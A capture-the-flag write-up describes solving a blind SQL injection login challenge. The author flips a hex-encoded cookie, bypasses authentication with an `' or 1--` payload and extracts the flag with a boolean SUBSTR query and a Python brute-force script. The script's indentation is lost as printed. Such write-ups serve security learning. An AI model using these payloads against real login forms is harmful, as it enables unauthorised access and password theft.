Tags: sqli boolean blind-sql-injection
Rating: 5.0
We already know from the challenge name that this is a blind SQL injection challenge.
We are greeted with a login page and a `/login` endpoint we can post credentials to.
When trying to log in it just says `You are not allowed to login` which seems quite odd. Is this the same as `authentication failed` or something like that?
I did not find any SQL-injection stuff yet, so we move on, maby it is not processing our login data yet?
It might be that we are not allowed to login to the page yet, so let's find out why.
There is a cookie for this website: `416c6c6f77=46616c7365`.
Decoding this as hex yields: `Allow=False`, so let's try to set it to True and then encode it the same way.
When POSTing to `/login` with this cookie and `uname=admin&pasw=admin` it now says `you FAlid to 3nt3r`.
Now it seems like the login is actually processed, so maby we can do some SQL injection now?
```
http -f POST http://130.185.122.155:8080/login "uname=admin' or 1--" "psw=a" Cookie:"416c6c6f77=54727565"
```
This works pretty well!
```html
<html>
You did it!!
</html>
```
There is no flag here though... So my bet is that the flag is the password of the user. We cannot print any information from the database,
so we need to find another way to exfiltrate data.
Here is where boolean-based SQL injection queries comes into play. We can differentiate between successful logins or not successful logins by
adding a `' or 1--` or a `' or 0--`. This way we can query something from the database and check if that value is what we expect. If it is, then do a successful
login, or else fail to login.
After som trial and error, I came up with the following query to leak the password character by character:
```sql
' or (SELECT CASE SUBSTR(password,1,1) WHEN 'A' THEN 1 ELSE 0 END FROM USERS)--
```
This query checks if the first character of the password is "A".
Now we can bruteforce this using a Python script I wrote:
```python
#!/usr/bin/env python3
import requests
import string
url = "http://130.185.122.155:8080/login"
headers = {"Cookie": "416c6c6f77=54727565"}
psw = "RaziCTF{"
i = len(psw) + 1
while True:
for c in string.printable:
data = {
"uname": f"' or (SELECT case substr(password,1,{i}) when '{psw+c}' then 1 else 0 end from users)--",
"psw": "a"
}
r = requests.post(url, headers=headers, data=data)
if 'did it' in r.text:
psw += c
i += 1
print(psw)
break
print(psw+c)
if c == "}":
break
print("FLAG:", psw)
```